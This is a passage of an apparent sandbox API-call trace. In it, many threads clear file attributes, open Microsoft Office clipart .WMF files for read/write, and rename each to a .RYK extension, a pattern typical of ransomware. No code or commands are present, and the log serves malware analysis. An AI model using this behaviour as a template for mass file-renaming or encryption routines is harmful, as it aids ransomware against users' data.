	[0240.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2076
	os_tid = 0x2614

	[0240.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF", dwFileAttributes=0x80) returned 0
	[0240.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.455] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2077
	os_tid = 0x2618

	[0240.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF", dwFileAttributes=0x80) returned 0
	[0240.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.454] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2078
	os_tid = 0x261c

	[0240.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF", dwFileAttributes=0x80) returned 0
	[0240.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.453] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.453] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2079
	os_tid = 0x2620

	[0240.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF", dwFileAttributes=0x80) returned 0
	[0240.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.452] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2080
	os_tid = 0x2624

	[0240.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF", dwFileAttributes=0x80) returned 0
	[0240.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.451] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2081
	os_tid = 0x2628

	[0240.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF", dwFileAttributes=0x80) returned 0
	[0240.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2082
	os_tid = 0x262c

	[0240.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF", dwFileAttributes=0x80) returned 0
	[0240.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.449] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2083
	os_tid = 0x2630

	[0240.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF", dwFileAttributes=0x80) returned 0
	[0240.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.448] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2084
	os_tid = 0x2634

	[0240.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF", dwFileAttributes=0x80) returned 0
	[0240.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2085
	os_tid = 0x2638

	[0240.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF", dwFileAttributes=0x80) returned 0
	[0240.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2086
	os_tid = 0x263c

	[0240.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF", dwFileAttributes=0x80) returned 0
	[0240.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2087
	os_tid = 0x2640

	[0240.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF", dwFileAttributes=0x80) returned 0
	[0240.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.626] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2088
	os_tid = 0x2644

	[0240.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF", dwFileAttributes=0x80) returned 0
	[0240.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.627] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2089
	os_tid = 0x2648

	[0240.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF", dwFileAttributes=0x80) returned 0
	[0240.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.628] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2090
	os_tid = 0x264c

	[0240.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF", dwFileAttributes=0x80) returned 0
	[0240.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.630] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2091
	os_tid = 0x2650

	[0240.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF", dwFileAttributes=0x80) returned 0
	[0240.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.631] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.631] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2092
	os_tid = 0x2654

	[0240.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF", dwFileAttributes=0x80) returned 0
	[0240.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.632] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2093
	os_tid = 0x2658

	[0240.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF", dwFileAttributes=0x80) returned 0
	[0240.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.633] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.633] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2094
	os_tid = 0x265c

	[0240.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF", dwFileAttributes=0x80) returned 0
	[0240.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.635] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2095
	os_tid = 0x2660

	[0240.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF", dwFileAttributes=0x80) returned 0
	[0240.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.636] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2096
	os_tid = 0x2664

	[0240.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF", dwFileAttributes=0x80) returned 0
	[0240.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.637] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2097
	os_tid = 0x2668

	[0240.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF", dwFileAttributes=0x80) returned 0
	[0240.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.647] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2098
	os_tid = 0x266c

	[0240.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF", dwFileAttributes=0x80) returned 0
	[0240.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.646] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2099
	os_tid = 0x2670

	[0240.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF", dwFileAttributes=0x80) returned 0
	[0240.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.644] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2100
	os_tid = 0x2674

	[0240.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF", dwFileAttributes=0x80) returned 0
	[0240.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2101
	os_tid = 0x2678

	[0240.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF", dwFileAttributes=0x80) returned 0
	[0240.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.640] CloseHandle (hObject=0xffffffffffffffff) returned 0
